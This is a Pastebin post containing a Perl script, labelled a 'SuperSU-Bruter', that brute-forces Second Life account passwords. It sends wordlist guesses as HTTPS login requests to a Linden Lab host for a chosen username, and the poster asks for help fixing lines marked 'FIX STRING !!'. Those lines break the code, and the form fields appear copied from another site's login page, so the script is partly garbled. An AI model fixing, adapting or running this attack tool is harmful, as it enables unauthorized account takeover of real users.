Advertisement
Guest User

PERL please help me !! FIX String

a guest
Jul 25th, 2016
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.55 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use strict;
  4. use Net::SSLeay::Handle;
  5.  
  6. if(!defined($ARGV[0] && $ARGV[1])) {
  7.  
  8. system('clear');
  9. print "\n+++ SuperSU-Bruter SecondLife password Bruter\n";
  10. print "+++ Coded by SuperSU\n";
  11. print "+++ SecondLife 2016\n\n";
  12. print "+++ Come Usare: perl $0 UserName Wordlist\n\n";
  13. exit; }
  14.  
  15. my $user = $ARGV[0];
  16. my $wordlist = $ARGV[1];
  17.  
  18. open (LIST, $wordlist) || die "\n[-] Nessuna Wordlist $wordlist -_- \n";
  19.  
  20. print "\n+++ SuperSU-Bruter SecondLife password Bruter\n";
  21. print "+++ Coded by SuperSU\n";
  22. print "+++ SecondLife 2016\n";
  23. print "\n[+] Nuovo Cracking $user ...\n\n";
  24.  
  25. while (my $password = <LIST>) {
  26. chomp ($password);
  27. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  28.  
  29. my $a = "POST /login.php HTTP/1.1";
  30. my $b = "Host: vip.secondlife-phx.agni.lindenlab.com"; FIX STRING !!
  31. my $c = "Connection: close";
  32. my $e = "Cache-Control: max-age=0";
  33. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  34. my $g = "Origin: https://id.secondlife.com/openid/login";  FIX STRING !!
  35. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  36. my $i = "Content-Type: application/x-www-form-urlencoded";
  37. my $j = "Accept-Encoding: gzip,deflate,sdch";
  38. my $k = "Accept-Language: en-US,en;q=0.8";
  39. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  40.  
  41. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa"; FIX STRING !!
  42. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In"; FIX STRING !!
  43. my $cl = length($post);
  44. my $d = "Content-Length: $cl";
  45.  
  46.  
  47. my ($host, $port) = ("vip.secondlife-phx.agni.lindenlab.com", 443); FIX STRING !!
  48.  
  49. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  50.  
  51.  
  52. print SSL "$a\n";
  53. print SSL "$b\n";
  54. print SSL "$c\n";
  55. print SSL "$d\n";
  56. print SSL "$e\n";
  57. print SSL "$f\n";
  58. print SSL "$g\n";
  59. print SSL "$h\n";
  60. print SSL "$i\n";
  61. print SSL "$j\n";
  62. print SSL "$k\n";
  63. print SSL "$l\n";
  64. print SSL "$cookie\n\n";
  65.  
  66. print SSL "$post\n";
  67.  
  68. my $success;
  69. while(my $result = <SSL>){
  70. if($result =~ /Location(.*?)/){
  71. $success = $1;
  72. }
  73. }
  74. if (!defined $success)
  75. {
  76. print "[-] $password -> No  \n";
  77. close SSL;
  78. }
  79. else
  80. {
  81. print "\n########################################################\n";
  82. print "[+] Successo! Password Cracked => Pass รจ $password \n";
  83. print "########################################################\n\n";
  84. close SSL;
  85. exit;
  86. }
  87. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement